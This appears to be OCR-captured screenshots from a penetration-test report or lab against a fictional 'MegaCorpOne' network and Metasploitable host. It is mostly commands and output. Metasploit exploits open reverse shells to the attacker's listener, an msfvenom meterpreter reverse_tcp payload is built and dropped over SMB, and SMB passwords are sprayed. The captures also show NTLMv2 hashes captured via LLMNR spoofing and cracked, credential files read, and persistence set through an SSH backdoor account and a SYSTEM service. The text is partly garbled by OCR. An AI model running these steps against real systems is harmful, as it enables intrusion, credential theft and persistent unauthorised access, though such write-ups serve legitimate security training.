vsftpd 2.0.5 - 'CWD' (Authent	icated) Rem	ote Memor	y Consu	mption	iv Nietbetrik	linux/dos/5814.pl	
<pre>vsftpd 2.0.5 - 'deny_file' Op vsftpd 2.0.5 - 'deny_file' Op</pre>						windows/dos/31818.sh windows/dos/31819.pl	
vsftpd 2.3.2 - Denial of Serv	ice		- Jervi	~ (2)		linux/dos/16270.c	
vsftpd 2.3.4 - Backdoor Comma vsftpd 2.3.4 - Backdoor Comma			loit)		nde segis	unix/remote/49757.py unix/remote/17491.rb	
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) unix/remote/17491.rb vsftpd 3.0.3 - Remote Denial of Service multiple/remote/49719.py							
Shellcodes: No Results							
(root© kali)-[~]						ale second here	
						ND 9 AD	
						or temper 2.2. KnOwn the DAV(2)	



EXPL-EXPLOITPUBLIC-FACINGAPP-009

msf6 explo payload ⇒ msf6 explo	cmd/unix/reverse		81_backdoor) > set payload cmd/unix/reverse 81_backdoor) > options						
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):									
Name	Current Setting	Required	Description						
RHOSTS RPORT	172.22.117.150 6667	yes yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using The target port (TCP)	-Metasploit					
Payload op	otions (cmd/unix/	reverse):							
Name	Current Setting	Required	Description						
LHOST LPORT	172.22.117.100 4444	yes yes	The listen address (an interface may be specified) The listen port						
Exploit ta	irget:								
Id Nam	ie								
0 Au1	— :omatic Target								
<u>msf6</u> explo	oit(unix/irc/unrea		81_backdoor) > run						
<pre>[*] 172.22 :1rc.M [*] 172.22 [*] Accept [*] Accept [*] Commar [*] Writir [*] Readir [*] Readir [*] Readir [*] Matchi [*] A is i [*] Commar</pre>	<pre>!.117.150:6667 - (letasploitable.LAI .117.150:6667 - 2 ed the first clic ed the second cl: id: echo oywtoAZII ig to socket A ig to socket B ig from socket B ig from socket S ig from socket N rwtoAZIP6icIM3h\r' .ng .nput</pre>	Connected f N NOTICE AI Sending bac ent connect ient connect PéicIM3h; Nn"	tion						
id uid=0(root) gid=0(root)								
Try Con Esc roo	(rnot hat teleet 12 ing 172.22 nected to ape charac tometasple =0(root) g	L1)-[~ 72.22. 2.117. 172.2 tter i pitabl gid=0(117.150 1524 150 2.117.150. s '^]'.						

EXPL-EXPLOITPUBLIC-FACINGAPP-010

<pre>msf6 exploit(unix/misc/distec_exec) > run</pre>								
 Started reverse TCP double handler on 17 Accepted the first client connection Accepted the second client connection Command: echo G7WH6aVHEVNiyWMi; Writing to socket A Writing to socket B Reading from sockets Reading from socket B B: "G7WH6aVHEVNiyWMi\r\n" Matching Command shell session 4 opened (172.22.1 			117.156	0:48284) at 2024-12-13 23:48:18 -0500				
<pre>id uid=1(daemon) gid=1(daemon) groups=1(daemon) pwd /tmp ls 5447.jsvc_up locate *password.txt [var/tmp/adminpassword.txt cat /var/tmp/adminpassword.txt Jim, These are the admin credentials, do not share with anyone!</pre>								
msfadmin:cybersecurity								
<pre>msf6 exploit(unix/misc/distcc_exec) > run</pre>								
 [-] 172.22.117.150:3632 - Exploit failed: A payloa [*] Exploit completed, but no session was created. msf6 exploit(mix/mixc/distcc_bxec) > show payloac 		lected.						
Compatible Payloads								
	Disclosure Date	Rank	Check	Description				
 		normal normal normal normal normal normal normal normal normal normal normal	No No No No No No No No No No No No	Unix Command Shell, Bind TCP (via Perl) Unix Command Shell, Bind TCP (via perl) IPv6 Unix Command Shell, Bind TCP (via Ruby) Unix Command Shell, Bind TCP (via Ruby) Unix Command, Generic Command Execution Unix Command Shell, Bouble Reverse TCP (telnet) Unix Command Shell, Reverse TCP (/dev/tcp) Unix Command Shell, Reverse TCP SSL (telnet) Unix Command Shell, Reverse TCP SSL (telnet) Unix Command Shell, Reverse TCP SSL (via Perl) Unix Command Shell, Reverse TCP (via Ruby) Unix Command Shell, Reverse TCP (via Ruby) Unix Command Shell, Reverse TCP SSL (via Ruby) Unix Command Shell, Reverse TCP SSL (via Ruby) Unix Command Shell, Reverse TCP SSL (via Ruby)				
<u>msf6</u> exploit(<u>unix/mixc/distcc_exe</u>) > set payload payload ⇒ cmd/unix/reverse <u>msf6</u> exploit(<u>unix/mixc/distcc_exe</u> c) > run	cmd/unix/reverse							
 Started reverse TCP double handler on 172.22.1 Accepted the first client connection Accepted the second client connection Command: echo eTKtoA3uYkp53W7g; Writing to socket A Writing to socket B Reading from sockets Reading from socket B " = TKtoA3uYkp53W7g\r\n" Matching A is input Command shell session 3 opened (172.22.117.100) 		17.150:5	9517)	at 2024-12-13 23:29:10 -0500				
id uid=1(daemon) gid=1(daemon) groups=1(daemon)								

EXPL-PRIVESC-011

msf6 exploit(unix/m) > run Started reverse TCP double handler on 172.22.117.100:4444 Accepted the first client connection ... Accepted the second client connection... Command: echo G7WH6aVHEVNiyWMi; 💌 Writing to socket A 💌 Writing to socket B Reading from sockets... [*] Reading from socket B
[*] B: "G7WH6aVHEVNiyWMi\r\n" Matching... [*] A is input... [*] Command shell session 4 opened (172.22.117.100:4444 → 172.22.117.150:48284) at 2024-12-13 23:48:18 -0500 id uid=1(daemon) gid=1(daemon) groups=1(daemon) pwd /tmp ls 5447.jsvc_up locate *password.txt [var/tmp/adminpassword.txt cat /var/tmp/adminpassword.txt Jim. These are the admin credentials, do not share with anyone! msfadmin:cybersecurity 2 msfadmin:cybersecurity cat /var/www/mutillidae/passwords/accounts.txt 'admin', 'adminpass', 'Monkey!!! 'adrian', 'somepassword', 'Zombie Films Rock!!! 'john', 'monkey', 'I like the smell of confunk 'ed', 'pentest', 'Commandline KungFu anyone?' 'ed', ۲ ssh msfadmin@172.22.117.150 msfadmin@172.22.117.150's password: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ No mail. Last login: Tue Dec 3 04:29:14 2024 from 172.22.117.100 msfadmin@metasploitable:~\$ id uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46 (plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) msfadmin@metasploitable:~\$ -[~/Documents . Will run 4 Openmar inreads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status postgres (postgres) service (service) user (user) Almost done: Proceeding the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst cyber[ccurity (msfadmin) 123456789 (klog) batman Password! 7g 0:00:00:00 DONE 2/3 (2024-12-03 03:18) 14.58g/s 195516p/s 200616c/s 200616C/s Barn2..Butch! Use the "--show" option to display all of the cracked passwords reliably Session completed.

POST-PERSISTENCE-013

POST-PERSISTENCE-013	
File Actions Edit View Help	
GNU nano 2.0.7 # Package generated configuration file	File: sshd_config
# See the sshd(8) manpage for details # What ports, IPs and protocols we list	ten for
Port 22 Port 10022 # Use these options to restrict which i #ListenAddress :: #ListenAddress 0.0.0.0 Protocol 2	interfaces/protocols sshd will bind to
# HostKeys for protocol version 2 HostKey /etc/ssh/ssh_host_rsa_key HostKey /etc/ssh/ssh_host_dsa_key #Privilege Separation is turned on for UsePrivilegeSeparation yes	security
# Lifetime and size of ephemeral versio KeyRegenerationInterval 3600 ServerKeyBits 768	on 1 server key
# Logging SyslogFacility AUTH LogLevel INFO	
# Authentication: LoginGraceTime 120 PermitRootLogin yes StrictModes yes	
RSAAuthentication yes PubkeyAuthentication yes #AuthorizedKeysFile %h/.ssh/authori	ized_keys
# Don't read the user's ~/.rhosts and -	-/.shosts files
IgnoreRhosts yes # For this to work you will also need H RhostsRSAAuthentication no # similar for protocol version 2 HostbasedAuthentication no # Uncomment if you don't trust ~/.ssh/h	nost keys in /etc/ssh_known_hosts
#IgnoreUserKnownHosts yes	
# To enable empty passwords, change to PermitEmptyPasswords no	yes (NUT RECOMMENDED)
# Change to yes to enable challenge-res # some PAM modules and threads) ChallengeResponseAuthentication no	sponse passwords (beware issues with
# Change to no to disable tunnelled cle #PasswordAuthentication yes	ear text passwords
# Kerberos options #KerberosAuthentication no #KerberosGetAFSToken no #KerberosOrLocalPasswd yes	
zsh: corrupt history file /root/	.zsh_history is also provide the second second
<pre>(root kai:)-[~] ssh systemd-ssh@172.22.117.1 systemd-ssh@172.22.117.150's pas Permission denied, please try ag systemd-ssh@172.22.117.150's pas Connection closed by 172.22.117.</pre>	sword: ain. sword:
(root@ kali)-[~] ssh systemd-ssh@172.22.117.1 systemd-ssh@172.22.117.150's pas Linux metasploitable 2.6.24-16-s	50 sword: erver #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686
The programs included with the U the exact distribution terms for individual files in /usr/share/d	each program are described in the
Ubuntu comes with ABSOLUTELY NO applicable law.	WARRANTY, to the extent permitted by
To access official Ubuntu docume http://help.ubuntu.com/ Last login: Tue Dec 3 04:30:20 To run a command as administrato	
See "man sudo_root" for details.	
systemd-ssh@metasploitable:~\$	and a second
	Names na 17 Reservation de

RECO-ACTIVESCANNING-015

The Kali on ML-REFVM-197105 - Virtual Machine Connection										
File Action Media Clipboard View Help										
😤 🔲 🗖 🖳 🦉 qterminal 🔹 Zenmap										
•			Zenmap					- • ×		
Scan Tools Profile Help										
Target: 172.22.117.100/24		Y Pro	ofile: Int	ense scan			Scan			
Command: nmap -T4 -A -vscript ftp-vsftpd-backdoo	or 172.22.117.100	/24								
Hosts Services	Nmap Output	Ports / Hos	tsTopol	logy Host Detail	ls Scans					
OS ∀ Host	Port	Protocol	State	Service	Version					
kali.mshome.net (192.168.168.197)		tcp	open	domain	Simple DNS Plus					
172.22.117.100	✓ 88	tcp	open	kerberos-sec	Microsoft Windows Kerberos (server time:	2024-	12-05 07:	59:10Z)		
Windows10 (172.22.117.20)	✓ 135	tcp	open	msrpc	Microsoft Windows RPC					
WinDC01 (172.22.117.10)	✓ 139	tcp	open	netbios-ssn	Microsoft Windows netbios-ssn					
k -	✓ 389	tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domai	in: megac	orpone.lo		
	✓ 445	tcp	open	microsoft-ds						
	✓ 464	tcp	open	kpasswd5						
	✓ 593	tcp	open	ncacn_http	Microsoft Windows RPC over HTTP 1.0					
	✓ 636	tcp	open	tcpwrapped						
	✓ 3268	tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domai	in: megad	orpone.lo		
	✓ 3269	tcp	open	tcpwrapped						

EXPL-PASSWORDSPRAYING-016

File Actions Edit View H	Help
[*] 172.22.117.14:445 [+] 172.22.117.14:445	- 172.22.117.14:445 - Starting SMB login bruteforce - 172.22.117.14:445 - Could not connect
172.22.117.15:445 172.22.117.15:445	- 172.22.117.15:445 - Starting SMB login bruteforce - 172.22.117.15:445 - Could not connect
<pre>[*] 172.22.117.16:445 [-] 172.22.117.16:445</pre>	- 172.22.117.16:445 - Starting SMB login bruteforce - 172.22.117.16:445 - Could not connect
[*] 172.22.117.17:445 [-] 172.22.117.17:445	- 172.22.117.17:445 - Starting SMB login bruteforce - 172.22.117.17:445 - Could not connect
[*] 172.22.117.18:445	- 172.22.117.18:445 - Starting SMB login bruteforce
<pre>[=] 172.22.117.18:445 [*] 172.22.117.19:445</pre>	- 172.22.117.18:445 - Could not connect - 172.22.117.19:445 - Starting SMB login bruteforce
<pre>[-] 172.22.117.19:445 [*] 172.22.117.20:445</pre>	- 172.22.117.19:445 - Could not connect - 172.22.117.20:445 - Starting SMB login bruteforce
[+] 172.22.117.20:445	- 172.22.117.20:445 - Success: 'megacorpone\tstark:Password!' Administrator
<pre>[*] 172.22.117.21:445 [-] 172.22.117.21:445</pre>	- 172.22.117.21:445 - Starting SMB login bruteforce - 172.22.117.21:445 - Could not connect
<pre>[*] 172.22.117.22:445 [-] 172.22.117.22:445</pre>	- 172.22.117.22:445 - Starting SMB login bruteforce - 172.22.117.22:445 - Could not connect
[*] 172.22.117.23:445	- 172.22.117.23:445 - Starting SMB login bruteforce
<pre>[-] 172.22.117.23:445 [*] 172.22.117.24:445</pre>	- 172.22.117.23:445 - Could not connect - 172.22.117.24:445 - Starting SMB login bruteforce
[-] 172.22.117.24:445	- 172.22.117.24:445 - Could not connect
172.22.117.25:445 172.22.117.25:445	- 172.22.117.25:445 - Starting SMB login bruteforce - 172.22.117.25:445 - Could not connect
	- Scanned 26 of 256 hosts (10% complete)
<pre>[*] 172.22.117.26:445 [-] 172.22.117.26:445</pre>	- 172.22.117.26:445 - Starting SMB login bruteforce - 172.22.117.26:445 - Could not connect
[*] 172.22.117.27:445	- 172.22.117.27:445 - Starting SMB login bruteforce
<pre>[-] 172.22.117.27:445 [*] 172.22.117.28:445</pre>	- 172.22.117.27:445 - Could not connect - 172.22.117.28:445 - Starting SMB login bruteforce
[-] 172.22.117.28:445	- 172.22.117.28:445 - Could not connect
172.22.117.29:445 172.22.117.29:445	- 172.22.117.29:445 - Starting SMB login bruteforce - 172.22.117.29:445 - Could not connect
<pre>[*] 172.22.117.30:445</pre>	- 172.22.117.30:445 - Starting SMB login bruteforce
[-] 172.22.117.30:445	- 172.22.117.30:445 - Could not connect
172.22.117.31:445 172.22.117.31:445	- 172.22.117.31:445 - Starting SMB login bruteforce - 172.22.117.31:445 - Could not connect
[*] 172.22.117.32:445	- 172.22.117.32:445 - Starting SMB login bruteforce

EXPL-LLMNRSPOOFING-017

(*) From starting TCP server as part 80, check permissions or other servers running. (*) Listening For vents (*) Listening For vents (*) Birror starting TCP server as part 80, check permissions or other servers running. (*) Listening For vents (*) Birror Starting TCP server as part 80, check permissions or other servers running. (*) Birror Starting TCP server as part 80, check permissions or other servers running. (*) Birror Starting TCP server as part 80, check permissions or other servers running. (*) Birror Starting TCP server as part 80, check permissions or other servers running. (*) Birror Starting TCP server as part 80, check permissions or other servers running. (*) Birror Starting TCP server as part 80, check permissions or other servers running. (*) Birror Starting TCP server as part 80, check permissions or other servers running. (*) Birror Starting TCP server as part 80, check permissions or other servers running. (*) Birror Starting TCP server as part 80, check permissions or other servers running. (*) Birror Starting TCP server as part 80, check permissions or other servers running. (*) Birror Starting TCP server as part 80, check permissions or other servers running. (*) Birror Starting TCP server as part 80, check permissions or other servers running. (*) Birror Starting TCP server running. (*) Birror Start
(xmmt⊙kali)-[~]4
L# john <u>hash2.txt</u>
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Spring2021 (pparker)
1g 0:00:00:00 DONE 2/3 (2024-12-05 04:39) 11.11g/s 85133p/s 85133c/s 85133C/s 123456iloveyou!
Use the "showformat=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

```
EXPL-WMI-018
```

EXPL-VVIVII-UTO					
Auxiliary module execu	tion comp	leted	CONNAND Analyl	212	
sf6 auxiliary(scamer/smb		/wmiexec) > set	COMMAND TASKE	ist	
UMMAND - CASKLIST		/wmiexec) > run			
<u>sf6</u> auxiliary(scanner/smb		/wmienec) > run			
	20				
Running for 172.22.117					
172.22.117.20 - SMBv3.	0 dialect	used			
	OT D	Country Name	Constant.	Man Hanna	
mage Name	PID	Session Name	Session#	Mem Usage	
vstem Idle Process		Services	0	8 K	
vstem		Services	0	20 K	
egistry		Services	Ő	7,668 K	
mss.exe		Services	0	88 K	
srss.exe		Services	ő		
ininit.exe		Services	Ő		
srss.exe		Console	nours ld is		
ervices.exe		Services		4,712 K	
inlogon.exe		Console		600 K	
sass.exe		Services	0	9,944 K	
ontdrvhost.exe	752	Console	1	20 K	
vchost.exe	760	Services	0	13,944 K	
ontdrvhost.exe	768	Services	0	160 K	
vchost.exe	860	Services	0	9,120 K	
wm.exe	940	Console	e fanada fa tra 🛙 👖	9,692 K	
ogonUI.exe		Console	a open ta 1	11,996 K	
vchost.exe		Services	0	8,964 K	
vchost.exe		Services	0	36,616 K	
vchost.exe		Services	0	32,248 K	
vchost.exe		Services	0	10,892 K	
vchost.exe		Services	0	1,936 K	
vchost.exe		Services Services	0	15,332 K	
vchost.exe vchost.exe		Services	0	8,992 K 7,460 K	
vchost.exe		Services	0	5,612 K	
vchost.exe		Services	0	1,408 K	
vchost.exe		Services		3,672 K	
vchost.exe		Services	0	952 K	
emory Compression		Services	0	65,132 K	
SSVC.exe	2020	Services	0	1,440 K	
vchost.exe	2040	Services	0	2,700 K	
vchost.exe	1832	Services	0	1,764 K	
vchost.exe	1868	Services	0	1,808 K	
poolsv.exe	2192	Services	0	2,860 K	
vchost.exe		Services	0	22,172 K	
vchost.exe		Services	1414 C 05 - 500	976 K	
sMpEng.exe		Services	0	48,380 K	
isSrv.exe		Services	0	3,436 K	
vchost.exe		Services	For status 0	944 K	
icrosoftEdgeUpdate.exe		Services	0	348 K	
grmBroker.exe		Services	0	3,168 K	
hssvc.exe vchost.exe		Services Services	0	436 K 11.020 K	
vchost.exe		Services	0	2,516 K	
		Services	0	11,072 K	
earchIndexer.exe vchost.exe		Services	Ő	2,120 K	
vchost.exe		Services	ő	1,488 K	
miPrvSE.exe		Services	Ő	1,024 K	

<pre>[*] Scanned 1 of 1 ho [*] Auxiliary module of msf6 auxiliary(scanne COMMAND ⇒ net session msf6 auxiliary(scanne [*] Running for 172.2 [*] 172.22.117.20 - SI</pre>	execution complete //smb/impacket/wmi //smb/impacket/wmi 2.117.20	d exer) > set COMMAND exer) > run	net session
Computer	User name	Client Type	Opens Idle time
\\127.0.0.1	tstark	n fan Santaria. Feldele santaria de la	1 00:00:00
\\172.22.117.100 The command completed			0 00:00:01
<pre>[*] Scanned 1 of 1 ho [*] Auxiliary module msf6 auxiliary(scanne)</pre>	execution complete	d	

EXPL-MSFVENOM-019

(root⊗kali)- ∦ msfvenom -p	[~] windows/meterpreter	/reve	erse_tcp Ll	ноѕт	=172	.22	.117.100	LPORT=	4444 -f	exe > sh	ell.exe	
[-] No arch sele No encoder speci Payload size: 35	was selected, choos ected, selecting arc ified, outputting ra 54 bytes ke file: 73802 bytes	h: x8 w pay	B6 from the				::Windows	from	the payl	oad		
_ <mark>g</mark> (root⊙kali)- ≃	[~]											
(root @ kali)-	in t											
	/172.22.117.20/C\$ -U	mega	cornone/t	star	6							
	VE\tstark's password		icorpone, c.	Scar	`							
	et a list of possibl		nmands.									
smb: \> ls												
\$Recycle.Bin		DHS	0	Mon	Jan	17	17:27:30	2022				
\$WinREAgent		DH	0	Tue	Oct	19	15:30:59	2021				
bootmgr		AHSR	413738	Sat	Dec	7	04:08:37	2019				
BOOTNXT		AHS	1				04:08:37					
Documents and		HSrn					08:16:44					
DumpStack.log.	tmp	AHS					17:19:59					
pagefile.sys			181193932						4			
PerfLogs		D					04:14:16					
Program Files	(DR					10:37:15					
Program Files	(X86)	DR DHn					02:33:53					
ProgramData Recovery		DHN					13:14:54 08:16:51					
service.exe		DHSN					04:48:57					
shell.exe		Â					03:40:03					
shell1.exe		Â			1000		04:04:39	100 C				
swapfile.sys			268435456									
System Volume	Information	DHS					01:19:02					
Users		DR					17:24:45					
Windows		D	0	Моп	Dec	9	04:19:00	2024				
smb: \>	33133914 blocks of	size	4096. 270	6196	3 bl	ocks	s availab	ole				
Since 15												
the second se												

MegaCorpOne

en in 1997 en en 1829 kerzententerzzeiten / merzier 1969 zurzutzutzutzutzutzutzete (zwistokiek of eine och 1961 kunne
=[metasploit v6.1.22-dev]
+=[2188 exploits - 1161 auxiliary - 400 post] +=[596 payloads - 45 encoders - 10 nops] +=[9 evasion] T
Metasploit tip: View a module's description using info, or the enhanced version in your browser with info -d
<pre>msf6 > use exploit/multi/handler Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload ⇒ windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > options</pre>
Module options (exploit/multi/handler):
Name Current Setting Required Description
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name
0 Wildcard Target
<pre>msf6 exploit(multi/handler) > set LHOST 172.22.117.100 LHOST ⇒ 172.22.117.100 msf6 exploit(multi/handler) > run -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created.</pre>
<pre>[*] Started reverse TCP handler on 172.22.117.100:4444 msf6 exploit(multi/handler) > [*] Sending stage (175174 bytes) to 172.22.117.20 [*] Meterpreter session 1 opened (172.22.117.100:4444 → 172.22.117.20:53060) at 2024-12-14 17:48:33 -0500</pre>
Active sessions
Id Name Type Information Connection
2 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WINDOWS10 172.22.117.100:4444 → 172.22.117.20:61053 (172.22.117.20)
<pre>msf6 exploit(milti/handler) > scanner/smb/impacket/wmiexec [=] Unknown command: scanner/smb/impacket/wmiexec This is a module we can load. Do you want to use scanner/smb/impacket/wmiexec? [y/N] y msf6 auxiliary(scanner/smb/impacket/miexec) > options</pre>
Module options (auxiliary/scanner/smb/impacket/wmiexec):
Name Current Setting Required Description
COMMAND C:shell2.exe yes The command to execute OUTPUT true yes Get the output of the executed command R@OSTs 172.22.117.20 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit SMBDomain megacorpone no The Windows domain to use for authentication SMBPass Password! yes The password for the specified username
SMBUser tstark yes The username to authenticate as THREADS 1 yes The number of concurrent threads (max one per host)
<pre>msf6 auxiliary(scanner/omb/injacket/msiexec) > run [*] Running for 172.22.117.20</pre>
<pre>[*] Running for 1/2.22.117.20 [*] 172.22.117.20 dialect used [*] Sending stage (175174 bytes) to 172.22.117.20 [*] Meterpreter session 3 opened (172.22.117.100:4444 → 172.22.117.20:61915) at 2024-12-14 18:42:57 -0500 [*]</pre>

STO AUXILIAIVU Module options (auxiliary/scanner/smb/impacket/wmiexec): Current Setting Required Description Name The command to execute Get the output of the executed command The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit The Windows domain to use for authentication The password for the specified username The username to authenticate as The number of concurrent threads (max one per host) COMMAND C:shell2.exe yes OUTPUT RHOSTS 172.22.117.20 yes SMBDomain megacorpone no SMBPass Password! yes SMBUser tstark yes ary SMBUser tstark yes yes THREADS - Henselot/hmiexec) > run <u>msf6</u> auxiliary([*] Running for 172.22.117.20 ...
[*] 172.22.117.20 - SMBv3.0 dialect used
[*] Sending stage (175174 bytes) to 172.22.117.20
[*] Meterpreter session 3 opened (172.22.117.100:4444 → 172.22.117.20:61915) at 2024-12-14 18:42:57 -0500
[*] Caught interrupt from the console ...
[*] Auxiliary module execution completed
msf6 auxiliary(acannes/omh/inpacket/nmiexec) > sessions -i Active sessions Information Connection meterpreter x86/windows NT AUTHORITY\SYSTEM @ WINDOWS10 172.22.117.100:4444 → 172.22.117.20:61053 (172.22.117.20) meterpreter x86/windows MEGACORPONE\tstark @ WINDOWS10 172.22.117.100:4444 → 172.22.117.20:61915 (172.22.117.20) ______starting(scannel/smb/impackot/mtiexec) > sessions -i 3
[*] Starting interaction with 3... <u>msf6</u> auxiliary(

POST-PRIVESC-020

ayload opti	ons (windows	/mete	rpreter/re	verse_tcp):						
Name	Current Set	ting	Required	Description						
EXITFUNC LHOST LPORT	process 172.21.208. 4444	92	yes yes yes	Exit technique (Accepted: '', seh, thread, process, none) The listen address (an interface may be specified) The listen port						
Exploit targ	et:									
Id Name										
0 Windo	ws									
<u>nsf6</u> exploit .HOST ⇒ 172 <u>nsf6</u> exploit Module optio	.22.117.100									
Name		Curre	nt Setting	Required	Description					
REMOTE_EX REMOTE_EX RETRY_TIM SERVICE_D SERVICE_N SESSION	E_PATH E ESCRIPTION AME	5		no no no no no yes	The remote victim name. Random string as default. The remote victim exe path to run. Use temp directory as default. The retry time that shell connect failed. 5 seconds as default. The description of service. Random string as default. The name of service. Random string as default. The session to run this module on					
Payload opti	ons (windows	/mete:	rpreter/re	verse_tcp):						
Name	Current Set	ting	Required	Descriptio	n an					
EXITFUNC LHOST LPORT	172.22.117. 4444	100	yes yes yes		- ique (Accepted: '', seh, thread, process, none) address (an interface may be specified) port					
Id Name	eu. Laic									
0 Windo	45									
e mindo										
<u>nsf6</u> exploit	(windows/tec				run					
<pre>* Running + Meterpre * Creating * Cleanup * Sending</pre>	service ETF Meterpreter stage (17517	st WIN exe w Jj RC Fi 4 byte	NDOWS10 ritten to le: /root/ es) to 172	C:\Windows\ .msf4/logs/ .22.117.20	4444 TEMP\gyUl.exe persistence/WINDOWS10_20241214.5219/WINDOWS10_20241214.5219.rc 444 → 172.22.117.20:62224) at 2024-12-14 18:52:21 -0500					
<u>meterpreter</u> Gerver usern <u>meterpreter</u>	ame: NT AUTH	ORITY	SYSTEM							

2408	596	MsMpEng.exe	x64			
2756	596	svchost.exe	x64	0		
2860	596	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\svchost.exe
3188	596	svchost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
3268	596	NisSrv.exe	x64	0		
3284	596	svchost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
3484	772	MoUsoCoreWorker.exe	x64	0.00	NT AUTHORITY\SYSTEM	C:\Windows\System32\MoUsoCoreWorker.exe
3524	772	WmiPrvSE.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\wbem\WmiPrvSE.exe
3792	596	SecurityHealthService.exe	x64	0		
3948	3612	MicrosoftEdgeUpdate.exe	x86	0	NT AUTHORITY\SYSTEM	C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
4 76	596	SearchIndexer.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\SearchIndexer.exe
4216	772	WmiPrvSE.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\wbem\WmiPrvSE.exe
4210	596	svchost.exe	x64	0	NT AUTHORITY STSTEM	C. (WINDOWS (395 Cem32 / WDem / WmitPitySE. 8Xe
8912	596	svchost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
9544			x64	2	NT AUTHORITY STSTEM	C. (WINDOWS (Systems2 (Svenost.exe
		csrss.exe				
9584		gyUl.exe	x86	0	NT AUTHORITY\SYSTEM	C:\Windows\Temp\gyUl.exe
	772	RuntimeBroker.exe	x64	254 HoV	MEGACORPONE\bbanner	C:\Windows\System32\RuntimeBroker.exe
	7276	winlogon.exe	x64		NT AUTHORITY\SYSTEM	C:\Windows\System32\winlogon.exe
		fontdrvhost.exe	x64		Font Driver Host\UMFD-2	C:\Windows\System32\fontdrvhost.exe
		conhost.exe	x64		MEGACORPONE\bbanner	C:\Windows\System32\conhost.exe
	596	WUDFHost.exe	x64		NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\WUDFHost.exe
		dwm.exe	x64		Window Manager\DWM-2	C:\Windows\System32\dwm.exe
11344		RuntimeBroker.exe	x64		MEGACORPONE\bbanner	C:\Windows\System32\RuntimeBroker.exe
11388	2372	PMjFxyG.exe	x86		NT AUTHORITY\SYSTEM	C:\Users\TSTARK~1.MEG\AppData\Local\Temp\PMjFxyG.exe
11516	14480	shell2.exe	x86		MEGACORPONE\tstark	C:\shell2.exe
11580	596	svchost.exe	x64		NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
11900	772	StartMenuExperienceHost.ex	e x64		MEGACORPONE\bbanner	C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMen
11924	376	rdpclip.exe	x64	2	MEGACORPONE\bbanner	C:\Windows\System32\rdpclip.exe
11988	412	sihost.exe	x64	2	MEGACORPONE\bbanner	C:\Windows\System32\sihost.exe
	596	svchost.exe	x64	2	MEGACORPONE\bbanner	C:\Windows\System32\svchost.exe
	412	taskhostw.exe	x64	2	MEGACORPONE\bbanner	C:\Windows\System32\taskhostw.exe
	904	ctfmon.exe	x64	2	MEGACORPONE\bbanner	C:\Windows\System32\ctfmon.exe
		explorer.exe	x64	2	MEGACORPONE\bbanner	C:\Windows\explorer.exe
	772	RuntimeBroker.exe	x64	2	MEGACORPONE\bbanner	C:\Windows\System32\RuntimeBroker.exe
	596	svchost.exe	x64	2	MEGACORPONE\bbanner	C:\Windows\System32\Sychost.exe
	772	SearchApp.exe	x64	2	MEGACORPONE\bbanner	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
	772	RuntimeBroker.exe	x64	2	MEGACORPONE\bbanner	C:\Windows\System32\RuntimeBroker.exe
		powershell.exe	x64	2	MEGACORPONE\bbanner	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	772	YourPhone.exe	x64	2	MEGACORPONE\bbanner	C:\Program Files\WindowsApps\Microsoft.YourPhone 1.21084.79.0 x64 8wekyb3d8bbwe\YourP
	772	TextInputHost.exe	x64	2	MEGACORPONE\bbanner	C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost
	772	SearchApp.exe	x64	2	MEGACORPONE\bbanner	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
				2		
	772	RuntimeBroker.exe OneDrive.exe	x64	2	MEGACORPONE\bbanner	C:\Windows\System32\RuntimeBroker.exe
			x86		MEGACORPONE\bbanner	C:\Users\Bbanner.MEGACORPONE\AppData\Local\Microsoft\OneDrive\OneDrive.exe
